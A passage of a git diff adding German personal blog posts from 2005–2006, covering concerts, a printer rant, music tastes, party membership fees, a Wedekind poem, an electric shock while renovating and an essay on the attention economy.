8Freibier (fuer die Band, wenn ihr alle reichlich erscheint), lustige Raetseleinlagen und eine echt knuddelige
9Vorband!
10
11Los geht es um 21ooUhr, gehopst wird, bis alle Sohlen durchsind. Ich freu mich auf euch!
diff --git a/blog/2005/Tintenpisser.md b/blog/2005/Tintenpisser.md
new file mode 100644
index 0000000..2c1eca8
--- /dev/null
+++ b/blog/2005/Tintenpisser.md
@@ -0,0 +1,18 @@
1<!--
2.. date: 2005/04/26 21:18
3.. title: Tintenpisser
4-->
5
6Ich bin jetzt endgueltig offiziell und unumkehrbar sauer und verspuere Hassgefuehle
7gegenueber dem Druckerhersteller [hp](http://www.hp.com/). Dass sie mich mit
8fiesen Tricks dazu zwingen wollen, ihre eigenen Patronen zu kaufen, ist zwar nicht pc,
9kann ich aber ob der stark subventionierten Drucker noch ein Stueck weit nachvollziehen.
10
11Dass mich aber mein Drucker (ein hp psc 1110), seit die schwarze Patrone das aufgedruckte
12Verfallsdatum ueberschritten hat, mit seltsamen "Die Druckerpatrone kann sich nicht frei
13bewegen." oder "Druckpatrone pruefen"-Meldungen in Tateinheit mit Seitendruckzeiten von
14einer halben Stunde dazu noetigen moechte, selbige trotz halbem Tintenfuellstand zu ersetzen,
15ist schlicht inakzeptabel. HP ist fuer mich in jeder Hinsicht gestorben. Ich werde mich
16jetzt auf die Suche nach einem Farblaserdrucker machen. Hat da jemand Hinweise auf einen
17guenstigen, moeglichst nicht von HP? Mir wurde bisher [jener
18hier](http://www3.primustronix.de/shop/info.asp?product_group=270&service_group=&fct=&product_code=DRL479&search_str=&sid=3799129664) empfohlen, Meinungen?
diff --git a/blog/2005/Trendsetter.md b/blog/2005/Trendsetter.md
new file mode 100644
index 0000000..6e60fda
--- /dev/null
+++ b/blog/2005/Trendsetter.md
@@ -0,0 +1,54 @@
1<!--
2.. date: 2005/11/07 02:15
3.. title: Trendsetter
4-->
5
6Wie jeder [bedeutende Teenager](http://avaxhome.ru/music/2005/07/30/video_the_offspring_pretty_fly_for_a_white_guy_dvd_rip/) der
7[etwas auf sich haelt](http://www.monasharma.de/tv/tv_bilder/kls/ots_auto.gif), war ich schon frueh vom Gefuehl geplagt, alle aufkommenden Trends
8deutlich eher als alle anderen wahrzunehmen. Man findet eine kleine Lokalband, stellt sich als (fast) einziger ins Konzert und ein Jahr spaeter werden sie in der
9Bravo gefeatured. Am Ende muss man sich noch rechtfertigen, dass man doch eher Mitbegruender des Hypes war und nicht schlicht Mitlaeufer. Daneben gibt es
10natuerlich immer noch Acts, die klein geblieben sind und man freut sich, wenn man ein Plakat von denen sieht und traegt dann brav weiter seine 3EUR
11Eintritt zum Konzert, statt 15EUR bei den "shooting stars".
12
13Mir erging es so, dass ich mich dank eines Kumpels, der schon auch fuer damalige Verhaeltnisse kauzig und nerdig war, auf einer der ersten Loveparades
14herumtrieb. Ich war damals 12 oder 13, [meine musikalische Evolution](http://www.anthroposophische-musiktherapie.de/) [noch nicht so weit vorangeschritten](http://www2.netdoktor.de/feature/unmusikalische_menschen.htm) und ich fand furchtbar spannend, was dort passierte,
15wenn ich auch nicht [allzuviel damit anfangen konnte](http://www.klassikerne.vmk.dk/dansktekst/musikvaerker/beethoven/b1108144.html) und verzweifelt
16auf dem [MED-Tracker](http://www.medsoundstudio.com/amigawhat.htm) meines Amigas versuchte, "irgendwie Techno" nachzumachen. Der Jugend von heute
17sagen natuerlich [Dr. Motte](http://images.google.com/images?q=loveparade) und [Marusha](http://www.danceartistinfo.com/marusha.htm) nichts
18mehr, als jedoch damals daraus Popkultur wurde, war mein elitaeres Bewusstsein [zum ersten Mal erschuettert](http://www.seelsorge.net/).
19
20Es ging weiter mit einer kurzen, heftigen [Rammstein-Phase](http://www.parax.de/showthread.php?t=419), die [Herzeleid](http://www.aventis.at/indikationsgebiete/herz-kreislauf.php) war ein [Geheimtip](http://www.deingedicht.de/Geburtstag/Spiele/(gs005)Stille%20Post.htm), heutzutage kommen [Spielfilme](http://www.imdb.com/title/tt0295701/) mit [komplettem Soundtrack](http://allerlei-strickerei.de/index.php?id=534) von den Jungs
21raus! Die neue [Amipunk-Welle](http://www.sonicshop.de/to/Oropax.htm), alles schon vor seiner Zeit gehoert, "1039 / Smoothed Out Slappy Hours". Letzte
22Wochen haben die den MTV [Europa Music Award](http://photos1.blogger.com/img/125/947/1024/EMA.2.jpg) bekommen. [Funny van Dannen](http://www.med1.de/Forum/Sexualitaet/Techniken///175075/), beim Kuscheln mit der Freundin gehoert, gleich als die "Clubsongs" rauskam.
23Noch bei [Kuttner entdeckt](http://www.bos-sprechfunk.de/), heute stehen [Hosen-Fans](http://www.opel-gang-donau-ries.de/) auf den
24Konzerten und die Papis groehlen "Saufen, Saufen, Saufen" am Herrentag. Mit den [Special Guests](http://www.contortionhomepage.com/ska.html) in der
25"Wabe" foermlich gekuschelt, nun machen sie schnell mal [das Kesselhaus](http://www.kulturbrauerei-berlin.de/) voll.
26
27Aber jetzt! Bevor er [in den Mainstream](http://kundendienst.orf.at/orfstars/moik.html) rutscht, sozusagen als Beweis, hier mit Datum und spaeter dann
28in web.archive.org...
29
30An der Stelle muss ich wohl **unbedingt** den Einschub bringen, die Netz-Welt vergooglet in letzter Zeit so unglaublich: Statt in den Duden zu
31schauen, wirft nerd Googlefight an, oder laesst sich per "Did you mean:" eine Schreibweise empfehlen, statt in den Brockhaus zu schauen, informiert nerd sich in
32Wikipedia und statt seines Nachrichtenarchivs bemueht er/sie/es web.archive.org. Diese Beqeumlichkeit birgt seine Gefahren. Waehrend ich bei Duden vs.
33Googlefight eventuell das Argument durchgehen liesse, dass auch der Duden nur ein Spiegel der Sprache sein soll und ein Grossteil der geschriebenen Sprache
34inzwischen im Netz indiziert ist (meine Praeferenz waere trotzdem der gedruckte Duden), hat man beim Nachschlagewerk und beim Nachrichtenarchiv ploetzlich das
351984-Problem. Die Informationen bezieht man bequem aus einer oder mehreren Quellen, die nicht unter der eigenen Kontrolle stehen, deren Verfuegbarkeit nicht
36immer gewaehrleistet ist und welche morgen nicht unbedingt genauso aussehen muessen wie heute.
37
38Andererseits ist auch der heutzutage gerichtszugelassene, notariell beglaubigte Ausdruck einer Webseite nicht das, was den Durchschnittsparanoiker beruhigt,
39solange er nicht im eigenen Papierstapel steckt... aber ich schweife schon wieder ab.
40
41Also: bevor er in den Mainstream rutscht, wollte ich hier niederlegen, dass mir Filmmusik von [Danny Elfmann](http://imdb.com/name/nm0000384/) gewahr
42ist, dass ich seine Art sehr mag, rasante komplexe orchestrale Stuecke zu duester/gothischen Tim Burton-Filmen (BeetleJuice, Edward mit den Scherenhaenden), zu
43knallbunten/chaotischen Filmen wie Charly und die Schokoladenfabrik, Man in Black und, nicht zu vergessen, den Simpsons zu schreiben. Wie ich jetzt darauf komme?
44Ich war gestern [Corpse Bride](http://imdb.com/title/tt0121164) gucken. Ziemlich kurz. Ziemlich kurzweilig. Netter Kinderfilm, coole Optik. Nur keine
458 EUR Wert. Der Score von Danny Elfmann, was mich zumindest beim Verlassen des Kino noch immer froehlich stimmte.
46
47Und natuerlich hat er auch Spuren in meiner Musiksozialisation hinterlassen, noch bevor ich ihn bewusst wahrgenommen hab. Deutlich von ihm beeinflusst ist [Catch that goblin](http://www.futurecrew.com/skaven/song_files/ctgoblin.s3m) von Skaven/Futurecrew oder hier die Version fuer [Leser mit weniger fortgeschrittenen Abspielprogrammen](http://www.futurecrew.com/skaven/song_files/mp3/catch_that_goblin!!.mp3). Skaven hat erst neulich
48noch einen [Nachfolger](http://www.futurecrew.com/skaven/song_files/The_Goblin_Returns_final.ogg) geschrieben, hat auch was, aber ist viel poppiger.
49Und [gibt er auch offen zu, wo er es geklaut hat](http://www.futurecrew.com/skaven/faq.html). Hab ich nach der assembly 1995 auf diversen Compos auf
50allen moeglichen Demoparties gewinnen hoeren.
51
52Fuer die werte Leserschaft besteht nun die Moeglichkeit, eine "shooting star"-Band gekannt zu haben, bevor sie gross werden. Der Name ist [Pumpanickle](http://www.pumpanickle.de/) und sie spielen am 19. 12. 2005 in der Junction Bar in Berlin. Grossartige Musik! ;)
53
54P.S.: Bei der Linkrecherche fuer die Eintraege kommen immer wieder wirklich wirklich abstruse Seiten zusammen, die zwar nicht zum Thema passen, ich [trotzdem nicht vorenthalten](http://www.nikolaus-lenau-schule.at/hort/bild03.html) moechte.
diff --git a/blog/2005/Unparteiisch.md b/blog/2005/Unparteiisch.md
new file mode 100644
index 0000000..7a9cdbf
--- /dev/null
+++ b/blog/2005/Unparteiisch.md
@@ -0,0 +1,31 @@
1<!--
2.. date: 2005/07/22 18:48
3.. title: Unparteiisch
4-->
5
6Ich selber bin kein Mitglied einer Partei, aber dachte schon immer darueber nach, was denn die Parteien ausser Bargeld im schwarzen Koffer und
7Wahlkampfkostenrueckerstattung so einnehmen. Fuer die groesseren Parteien hier nun die Mitgliedbeitraege, die ein Durchschnittsverdiener (1000EUR Netto im Monat)
8monatlich mindestens zu berappen hat. Ich persoenlich kenne viele, die freiwillig mehr bezahlen, andererseits haben viele Parteien auch Sozialregelungen. Dies
9sollte sich im Mittel aber ausgleichen.
10
11<table border="1">
12<tr><td>Partei/Quelle</td><td>Mindestbetrag</td></tr>
13<tr><td>[SPD](https://www.partei.spd.de/servlet/PB/menu/1030368/index.html)</td><td>8 EUR</td></tr>
14<tr><td>[CDU](http://www.cdu.de/politikaz/35_6967.htm)</td><td>5 EUR</td></tr>
15<tr><td>[CSU](http://www.csu.de/eprise/main/CSU-Portal/CSUde/Display/Partei/mitglied_faq)</td><td>4,16 EUR</td></tr>
16<tr><td>[FDP](http://www.fdp-bundesverband.de/pdf/F-B-ORD.pdf)</td><td>8 EUR</td></tr>
17<tr><td>[PDS](http://sozialisten.de/partei/dokumente/beitragsrichtlinie/beitragsrichtlinie.pdf)</td><td>20,60 EUR</td></tr>
18<tr><td>[B90/Gruene](http://www.gruene-partei.de/cms/service/dok/78/78011.htm)</td><td>10 EUR</td></tr>
19<tr><td>[DVU](https://ssl.kundenserver.de/dddf-89-60-85-ssl.de/dvu.de/Mitgliedsantrag.pdf)</td><td>3 EUR</td></tr>
20<tr><td>[APPD](http://partei.appd.de/website/action/sub/home/index.php?skin=website_std)</td><td>1 EUR</td></tr>
21<tr><td>[NPD](http://www.npd.de/formular/form.php)</td><td>wahrscheinlich 6,50 EUR (3,50 EUR - 10,50 EUR)</td></tr>
22<tr><td>[PBC](http://pbc.de/service/antrag.htm)</td><td>4,16 EUR</td></tr>
23<tr><td>[REP](http://www.rep.de/index.aspx?ArticleID=e885f1a3-9d45-4b25-b1c1-3730015a2d66)</td><td>6 EUR</td></tr>
24<tr><td>[PASS](http://www.pass-berlin.de/satzung.htm#%A7%202%20(Beitr%E4ge))</td><td>2,50 EUR</td></tr>
25<tr><td>[Die Partei](http://www.die-partei.de/index.php?mode=content&content_id=23)</td><td>0,83 EUR</td></tr>
26<tr><td>[Bayernpartei](https://vchat.berlin.ccc.de/rd/29049)</td><td>3 EUR</td></tr>
27<tr><td>[SPASSPARTEI](http://klickrufmichanan.de/spasspartei/mitgliedwerden2.html)</td><td>0,00083 EUR</td></tr>
28<tr><td>[STATT](http://www.statt-partei.de/downloads/aufnahmeantrag.pdf)</td><td>5 EUR</td></tr>
29<tr><td>[Tierschutzpartei](http://www.tierschutzpartei.de/mitglied/aufnahmeantrag.html)</td><td>2,66 EUR</td></tr>
30<tr><td>[Die Violetten](http://www.die-violetten.de/area/antrag.php)</td><td>3 EUR</td></tr>
31</table>
diff --git a/blog/2005/Was_angerichtet.md b/blog/2005/Was_angerichtet.md
new file mode 100644
index 0000000..75856b9
--- /dev/null
+++ b/blog/2005/Was_angerichtet.md
@@ -0,0 +1,18 @@
1<!--
2.. date: 2005/05/28 22:58
3.. title: Was angerichtet
4-->
5
6[![](http://erdgeist.org/stats/blog/pics/Wetter.jpg)](https://erdgeist.org/stats/blog/pics/Wetter.jpg)
7Oh backe, ich habe bei ein wenig Vanity-googling [entdeckt](http://www.google.de/search?q=erdgeist), dass sich geflissentlich
8ueber grossartigen [deutschen Lesestoff](http://www.amazon.de/exec/obidos/ASIN/3423124008/) informieren wollende Schueler von meiner zynischen
9Tagesdosis Erschriebenem zudroehnen lassen muessen..
10
11Mal schaun, ob ich da mit einem gezielten Link zu [Erdgeist](http://gutenberg.spiegel.de/wedekind/erdgeist/erdgeist.htm)
12wieder was gut machen kann.
13
14Heute bei geilem Wetter im Volkspark gehockt und ein wenig Seelen-Sonnen-Therapie probiert. Mal morgen mal sehen, obs was geworden ist.
15[![](http://erdgeist.org/stats/blog/pics/Volkspark.jpg)](https://erdgeist.org/stats/blog/pics/Volkspark.jpg)
16
17Eben noch mit [Cryx](https://outpost.h3q.com/blog/) und [Tina](http://blog.resurgam.de/) dekadent beim Mexikaner getafelt, wo ich
18schmerzlich meine EC-Karte vermisste, zum Glueck nur in der alten Hose verpeilt.
diff --git a/blog/2005/Wedekind.md b/blog/2005/Wedekind.md
new file mode 100644
index 0000000..fba8195
--- /dev/null
+++ b/blog/2005/Wedekind.md
@@ -0,0 +1,35 @@
1<!--
2.. date: 2005/11/21 02:48
3.. title: Wedekind
4-->
5
6Oben genannter Autor hat zu erdgeist folgendes zu sagen:
7
8<center><u>Erdgeist</u>
9
10Greife wacker nach der Sünde;
11
12Aus der Sünde wächst Genuß,
13
14Ach du gleichest einem Kinde,
15
16Dem man alles zeigen muß.
17
18Meide nicht die irdischen Schätze:
19
20Wo sie liegen, nimm sie mit.
21
22Hat die Welt doch nur Gesetze,
23
24Daß man sie mit Füßen tritt.
25
26Glücklich wer geschickt und heiter
27
28über frische Gräber hopst.
29
30Tanzend auf der Galgenleiter
31
32Hat sich keiner noch gemopst.
33
34</center>
35([via NetZwerg](http://spaces.msn.com/members/netzwerg/Blog/cns!1pZCb7odPtZixkwLJ8Fxm3nw!526.entry))
diff --git a/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md b/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md
new file mode 100644
index 0000000..47f51b0
--- /dev/null
+++ b/blog/2006/10_Sekunden_zappeln_bei_5000bpm.md
@@ -0,0 +1,14 @@
1<!--
2.. date: 2006/01/14 18:02
3.. title: 10 Sekunden zappeln bei 5000bpm
4-->
5
6Die goldene Elektrikerregel lautet: "behandle jedes Kabel so, als ob dort Strom drauf waere". Macht total Sinn! Aber der Reihe nach.
7
8Den [Kaspar](http://kaspar.datenfreihafen.de/) werde ich ja demnaechst stolz meinen Mitbewohner nennen koennen. Eine raus aus der Wohnung, ein Neuer rein. Das Zimmer schreit foermlich nach Schaumtapete abreissen, Rohre streichen, Steckdosen neu verlegen. Ein Kabelstrang war in dem Zimmer mal nach einem Lichtbogengewitter abgebrannt und wurde von einer scheinbar sehr kompetenten Elektroklitsche durch eine ausserordentlich huebsche Ueberputzkabelkanalinstallation mit lose endender Luesterklemme ersetzt. Das alte Kabel hingegen wurde nicht entfernt, nur gekappt und im Putz versteckt haengen gelassen. Und nun ratet, wer das Kabel fand!
9
10Komisch, was einem dabei so durch den Kopf schiesst... man denkt so "hoffentlich ist es kein Atomstrom", kann sich nicht so recht bewegen, erinnert sich an [die Bundestagsplakatieraktion](http://www.de.indymedia.org/2002/07/26434.shtml), fragt hoeflich den neben einem stehenden Kaspar (von der natuerlich nicht isolierten Leiter hinab) um Hilfe, ueberlegt, wieviel [kW/h](http://morgenpost.berlin1.de/images/2005/10/02/wirtschaft/107499_scaleUp.jpg) man da jetzt verbrauchen wuerde, zappelt noch ein wenig und kann die Kabel nicht loslassen und aergert sich, dass die Sicherung nicht einfach geht, wie kurz zuvor beim Versuch, eine Gluehlampe in eine Fassung zu schrauben.
11
12Auf der ernsthaften Seite machte ich mir natuerlich meine Gedanken. Solche Kontrollverluste, die einen entmenschlichen, einfach nur eine ungesteuerte Huelle aus dem Koerper machen, machen mich an die aktuelle Folterdiskussion denken. Ich habe einen einen leisen Hauch von Ahnung bekommen, wie es sich als Epileptiker lebt und dann auch erlebt, wie es ist, wenn Leute sich ernsthaft Sorgen um einen machen (danke Frank).
13
14Als Souvenir von dem Trip habe ich erstmal lecker verschmokeltes Fleisch auf zwei Fingern mitgenommen und die Erfahrung, dass undokumentierte E-Installationen mit nur zwei Phasen fuer eine Wohnung gefaehrlich sind. Doktor "Raspberry Vodka" in nur in russisch beschriftet ist ein stets griffbereiter Hausarzt. Die Gitarre kann ich, entgegen aller Befuerchtungen, noch bedienen. Mein Herz ist nicht im Laufe des Abends flimmernd stehengeblieben. Allerdings habe ich mir die Frage gestellt, ob man sich wohl nur durch die Kraft der Muskeln des Arms selbigen brechen kann. Wenn alle Muskeln gleichzeitig unkoordiniert in alle Richtungen zucken... Naja, nein Ellenbogen hat auf jeden Fall bei der Aktion gelitten, ist angeschwollen und tut jetzt weh. Zumindest weiss Kaspar jetzt, wieviel Liebe in seinem (hoffentlich) bald fertig renovierten Zimmer steckt.
diff --git a/blog/2006/Bei_genauerer_Betrachtung.md b/blog/2006/Bei_genauerer_Betrachtung.md
new file mode 100644
index 0000000..10fddb3
--- /dev/null
+++ b/blog/2006/Bei_genauerer_Betrachtung.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2006/01/22 17:24
3.. title: Bei genauerer Betrachtung
4-->
5
6... [ist Tim doch schon ziemlich cool.](http://tim.geekheim.de/2006/01/22/meinungsnderung/) Fehler zugeben rockt.
diff --git a/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md b/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md
new file mode 100644
index 0000000..8dcaedb
--- /dev/null
+++ b/blog/2006/Dieses_erlischt_zu_einer_I_Liebe.md
@@ -0,0 +1,27 @@
1<!--
2.. date: 2006/07/04 15:07
3.. title: Dieses erlischt zu einer I Liebe
4-->
5
6Automatische Uebersetzungen sind seit deren Aufkommen generell Quell der Freude bei humorvollen Menschen aller Art. Die eigene Ueberlegenheit ueber die Maschine
7wird auf den Gebieten, auf denen sie noch waehrt, genuesslich zelebriert. Taiwanesische Gebrauchsanweisungen muessen fuer den Beweis herhalten, wie sehr uns das
8Beherrschen des kulturellen Kontexts von Computern abhebt, deren Genauigkeit, Geschwindigkeit und Ausdauer mensch sonst nicht gewachsen ist.
9
10Und nun hat es heute auch mich erwischt. Beim Bands hinterhergooglen fiel mir diese wunderschoene automatische Uebersetzung in die Haende, die mich darauf
11brachte, wie man auf niveauvolle Art Ueberlegenheit zelebrieren kann. Da keine einzige Zeile von
12<center>
13Dieses erlischt zur einer I Liebe
14
15Dieses erlischt zum einem I nach links nach
16
17Eine einfache Stütze - meine Zeit besetzen
18
19Dieses erlischt zur einer I Liebe
20
21</center>
22
23dem Original aehnelt, ist es doch sicher eine Herausforderung an die sprachliche Intelligenz, aus den Uebersetzungen das Lied zu erraten. Die Uebersetzung des
24Beispiels findet man [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fr%2Frem%2Fthe-one-i-love%2Fprinterfriendly.html&lp=en_de).
25Weitere Raetsel gibt es [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fm%2Fmetallica%2Fwhiskey-in-the-jar%2Fprinterfriendly.html&lp=en_de),
26[hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fn%2Fnirvana%2Fsmells-like-teen-spirit%2Fprinterfriendly.html&lp=en_de)
27und [hier](http://babelfish.altavista.com/babelfish/trurl_pagecontent?doit=done&tt=url&intl=1&trurl=http%3A%2F%2Fwww.mp3lyrics.org%2Fs%2Fsimon-garfunkel%2Fthe-sound-of-silence%2Fprinterfriendly.html&lp=en_de).
diff --git a/blog/2006/Drucke.md b/blog/2006/Drucke.md
new file mode 100644
index 0000000..c665919
--- /dev/null
+++ b/blog/2006/Drucke.md
@@ -0,0 +1,12 @@
1<!--
2.. date: 2006/10/21 01:04
3.. title: Drucke
4-->
5
6Hab beim Stromern durch den lokalen Saturn wegen "wie billig ist _DAS_ denn?!" einen [HP LaserJet 1018](http://h10010.www1.hp.com/wwpc/us/en/sm/WF05a/18972-236251-236263-14638-f51-1814092.html?jumpid=reg_R1002_USEN) fuer sagenhafte 78EUR
7geshoppt. Boeses Erwachen kam natuerlich zu hause: der Drucker laeuft nicht nur sprichwortlich nur unter Windows, sondern NUR unter Windows. So mit Firmaware
8uebers USB-Interface in Raw auf den Drucker schreiben und einer PostScript-Rastersoftware, die auch nur unter Windows laeuft. Auch Versuche, den mittels [schwierige-Faelle-Framework foo2zjs](http://foo2zjs.rkkda.com/) anzusteuern, schlugen schwer fehl. Schade drum.
9
10Zweiter Versuch dann mit vorher Informieren: der guenstigste Netzwerk- und PostScript (sogar Level 3)-faehige Drucker am Markt ist im Moment der [Samsung ML-2571N](http://www.ayoo.de/details.php?ART=8864051&amp;PID=13010). Ausgepackt, ans Netz gesteckt, DHCP-Adresse vermittelt, IP in den
11Drucker-Dialog eingetragen, 120-Seitendokument gedruckt (naja die ersten 32 Seiten ;)... bin begeistert. Jetzt mal gucken, wie lange der haelt... macht aber
12einen soliden Eindruck. Achja, Preis mit Versand: rund zwohundert Euro. Daumen: hoch
diff --git a/blog/2006/Hirsch.md b/blog/2006/Hirsch.md
new file mode 100644
index 0000000..e581fb2
--- /dev/null
+++ b/blog/2006/Hirsch.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2006/10/18 02:19
3.. title: Hirsch
4-->
5
6Heute lecker Hirschbraten auf Knoedel und Apfelrotkohl im lokalen [Hausmannskostladen](http://www.moorsmagazine.com/images2/berlinesseneisbein.jpg) [Kartoffelkeller](http://web12.h1880.serverkompetenz.net/cms/kk/front_content.php?idcat=56) (uh man, welch heroisches Beispiel, wieso man bei der Webpraesenz weder am Design noch am Domainnamen sparen sollte)... Und dabei ist mir aufgefallen, dass man eigentlich sicher sein kann, nix aus [Massentierhaltung](http://www.spitze.duero.de/bilder/tierware/huehner02.jpg) zu vertilgen, wenn man [sich](http://www.sohns-wildlife.de/assets/images/SS006_Schnabeligel_2.JPG) [von](http://www.arikah.net/commons/en/5/55/Ornithorhynchidae-00.jpg) [aussergewoehnlichen](http://www.fv-berlin.de/pm_archiv/2004/fotos/nashorn.jpg) [Tierarten](http://www.w-meier.com/Storchenpaar%20im%20Nest,%20Petershagen-Joessen%202.jpg) [ernaehrt](http://erdgeist.org/fnord/news/grillkatze3.jpg). Mjam.
diff --git a/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md b/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md
new file mode 100644
index 0000000..034d5b6
--- /dev/null
+++ b/blog/2006/Humankapital_in_der_Aufmerksamkeitsoekonomie.md
@@ -0,0 +1,24 @@
1<!--
2.. date: 2006/10/08 18:53
3.. title: Humankapital in der Aufmerksamkeitsoekonomie
4-->
5
6Ab und zu gehen mir komplexe Gedankengaege durch den Kopf, die mich erst ernsthaft ruhen lassen, wenn ich sie niedergeschrieben habe. Wenn sie dann fertig formuliert sind, weiss ich nicht, wohin damit. Da bietet sich doch mein Blog foermlich an. Wenn mich also jemand fragt, wieso ich es bedenklich finde, wenn Jugendliche wochenlang World of Warcraft spielen, warum Spam nicht einfach nur eine Annoyance ist, sondern die Gesellschaft erodiert und wieso auch in seltsamen amerikanischen Prozessen Fettleibiger gegen Nahrungsmittelkonzerne ein Koernchen Wahrheit steckt, wenn ich begruenden soll, warum die Gruenen einst links waren und nun konservativ sind, kann ich auf diese Gedanken verweisen.
7
8#### Humankapital in der Aufmerksamkeitsoekonomie
9
10Es faellt schwer, mit einem Kapitalisten zu diskutieren, der mit der leicht erfassbaren Groesse Geld ein maechtiges Werkzeug hat, seinen Erfolg zu messen, waehrend man selber nur mit weichen Groessen argumentieren kann. Alle Argumente, die man eigentlich mit gesundem Menschenverstand von allein erfassen sollte, muss man dabei in monetaere Ausdruecke abbilden. Man mag dies zynisch nennen – und ich fuer meinen Teil mache mir die Argumentation nicht unbedingt zu eigen – die nachfolgenden Ueberlegungen sollen der Versuch sein, das Humane, das Soziale in der sozialen Marktwirtschaft fuer Kapitalisten erfassbar zu machen.
11
12Das ewige Streben nach Kapital, nach privatem Kapital, um genau zu sein, führt zu einer Privatisierung oeffentlichen Guts. Privatisierung ist natuerlich gewollt: ein Stueck Land abstecken, sein Haus drauf bauen, ein paar Tiere halten, Werkstatt oder Buero im Erdgeschoss – mensch gab der Gesellschaft im Optimum mehr zurueck, als er ihr wegnahm.
13
14Das Ende der Zeit, in der ungenutzte oeffentliche Ressourcen reichlich vorhanden waren, brachte jedoch den Bedarf einer genauen Quantisierung der privatisierten Gueter.
15
16So kann Zeit, die ein Buerger fuer Erwerbsarbeit aufbringt, nicht mehr dem gesellschaftlichen Leben, Kunst und Kultur, Politik und Sozialem gewidmet werden. Den Gewinn aus der Privatisierung der Arbeitskraft teilen sich Arbeitgeber- und nehmer in marktwirtschaftlich ausgehandeltem Verhaeltnis. Die privatisierte Zeit seiner Buerger verkauft die Gesellschaft in Form von Steuern auf das Einkommen. Diese Steuern erkaufen nun anderen Buergern, die nicht aus kapitalistischer Erwerbsarbeit leben, Gueter zurueck, die sie zum Ueberleben und zur Teilnahme an der Gesellschaft brauchen. Darueber hinaus geben diese gesellschaftsfinanzierten Buerger – als Lehrende, Kuenstler, Polizisten – der Gesellschaft Gueter wie Bildung, Kultur und Sicherheit zurueck.
17
18Nun gibt es – neben Grund und Arbeitskraft – auch weniger offensichtlichen Besitz einer Gesellschaft. Bildung, Kultur und Sicherheit wurden bereits erwaehnt und lassen sich mit ein wenig Phantasie auch wieder als direkt kapitalistisch verwert- und privatisierbare Groessen erfassen. Unverschmutzte Umwelt wurde als gesellschaftlicher Wert verstanden, dessen Verbrauch der Gesellschaft – bespielsweise in Form von Emissionszertifikaten – zurueckerstattet werden muss.
19
20Es gibt gesellschaftliche Werte, die nicht direkt privatisiert werden. Man denke an Leben ohne Angst. Fuer den Absatz von Waren und Dienstleistung wird dieses Gut von der Sicherheitsindustrie, der Presse und Politikern vernichtet. Als Hersteller von Alkoholika erwirbt man das Recht, Buergern den Verstand zu vernebeln, in Form von Rauschmittelabgaben. Die Gesundheit des durchschnittlichen Gesellschaftsmitglieds wird von der Nahrungs- und Genussmittelindustrie aufgezehrt. Traditionelle Tugenden wie Fleiss, Bescheidenheit, Fuersorge und den Drang, sich zu bilden, werden durch moderne Medien und Werbung entwertet.
21
22Zeit, die nicht fuer Erwerbsarbeit verwendet wird, ist hart umkaempft: die Unterhaltungsmedienindustrie verfuehrt zum passiven individuellen Konsum von Fernsehsendungen und Computerspielen. Die zur Verfuegung stehende Aufmerksamkeit wird weiter von Werbebotschaften aufgebraucht – man denke an die Berieselung in der Kaufhalle, Spam und Banner im Internet, Werbeanrufe und Promotionteams in Fussgaengerzonen. Die Verfuegbarkeit von Aufmerksamkeit jedoch ist Wegbereiter fuer viele soziale Werte, Ablenkung verhindert somit deren Schaffung. Bildung – man denke an Kinder und Jugendliche beim gewohnheitsmaessigen Spielen in virtuellen Welten, Erziehung – nicht nur der Nachwuchs laesst sich seine Zeit stehlen und Hilfsbereitschaft – Unwissen und Ignoranz den Problemen der Naechsten gegenueber erwaechst aus der Isolation des puren Konsums – sind nur einige der Beispiele.
23
24Ueberhaupt ist in einer Informationsgesellschaft nicht mehr die Arbeitskraft als solche, als vielmehr ein zu verteilendes Budget von Aufmerksamkeit, die man den Informationen schenken kann, das massgebliche Gut. Wir leben inzwischen in einer Aufmerksamkeitsoekonomie, in der dieses – in der Gesellschaft nur begrenzt vorhandene – Gut nicht leichtfertig privatisiert, oder indirekt als Folge der Privatisierung verschwendet werden darf. Als Ausgangspunkt fuer eine moegliche Kompensation steht ein Abschaetzung des Werts von Aufmerksamkeit an. Die genaue Menge an verbrauchter Aufmerksamkeit fuer ein Stueck veroeffentlichter Information ist wohl genauso schwer zu bestimmen, wie positive Aspekte, die beispielsweise der Medienkonsum der Gesellschaft gibt – auch Fernsehen und die Benutzung von Computern koennen Werte wie Vermittlung von Bildung und den Aufbau von Netzwerken schaffen.
diff --git a/blog/2006/Neunzehnvierundachtzig.md b/blog/2006/Neunzehnvierundachtzig.md
new file mode 100644
index 0000000..0172dfb
--- /dev/null
+++ b/blog/2006/Neunzehnvierundachtzig.md
@@ -0,0 +1,41 @@
1<!--
2.. date: 2006/10/11 17:14
3.. title: Neunzehnvierundachtzig
4-->
5
6Das Akku meines <del>guten</del> alten 12" PowerBook G4 ist inzwischen so abgelatscht, dass es, wenn die Festplatte mal anspringt, gerne die Hufe hochstreckt
7und den Rechner ausgehen laesst. (Wenn ich nicht noch die irrationale Hoffnung auf ein 12" MacBookPro haette, haette ichs schon ersetzt...) Gepaart mit einer
8defekten Backupbatterie macht das regelmaessig 1984 auf meinem Rechner. Genauer gesagt 01. Januar 1984 gegen ein Uhr. Und zwar so lange, bis das OS sich
9entschliesst, das Datum mit den Timeservern abzugleichen.
10
11Normalerweise passiert das, wenn er ne neue defaultroute bekommt, heute jedoch hatte ich vorher schon mit meinem Rechner gearbeitet und mich erstmal
12gewundert, warum Safari schlicht stehenbleibt und nicht auf Eingaben reagiert. Zudem warf ich ein laenger dauerndes wget an. Nachdem ich den Zeitabgleich
13dann haendisch angeworfen hab, erbrach sich wget folgendermassen in meine Konsole:
14
15<pre>
1619% [====> ] 315,586,864 0.32B/s retr.c:291: failed assertion `msecs >= 0'
17Abort trap
18</pre>
19
20Mjam. Millisekunden rumgewrappt, 22 Jahre waren dann doch zu viel fuer die fancy progress bar implementation. Da MUSS man natuerlich sofort das Handtuch
